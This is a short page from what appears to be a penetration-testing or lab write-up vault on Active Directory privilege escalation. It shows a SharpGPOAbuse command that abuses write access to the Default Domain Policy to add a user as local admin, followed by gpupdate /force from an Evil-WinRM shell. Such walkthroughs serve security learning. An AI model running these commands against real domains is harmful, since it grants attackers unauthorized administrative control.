> For the complete documentation index, see [llms.txt](https://lyethar.gitbook.io/vault/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://lyethar.gitbook.io/vault/priv-escalation.md).

# Priv Escalation

We are part of the server operators group, and we have write access to the Domain Default Policy Object. Which means that if we have write access to it we can use a tool called SharpGPOAbuse.exe to add ourselves to the domain admins. 

![](https://2220309649-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlZur7K7xtsvD24g4uC0i%2Fuploads%2FEVg9KZ26uucgGEy5svcE%2F2022-07-21_16-54.png?alt=media\&token=1c1dffc6-8506-4059-9d04-e3f55482c01c)

The GPO is called Default Domain Policy. 

```
 ./SharpGPOAbuse.exe --AddLocalAdmin --UserAccount anirudh --GPOName "Default Domain Policy"
```

Then we force an update on the GPO. 

```
*Evil-WinRM* PS C:\Users\anirudh\Desktop> gpupdate /force
```

![](https://2220309649-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlZur7K7xtsvD24g4uC0i%2Fuploads%2FieaEwzgylV6bUw55o0Kc%2F2022-07-21_17-07.png?alt=media\&token=6a7c6548-e808-460c-928a-e1380c1ad0ae)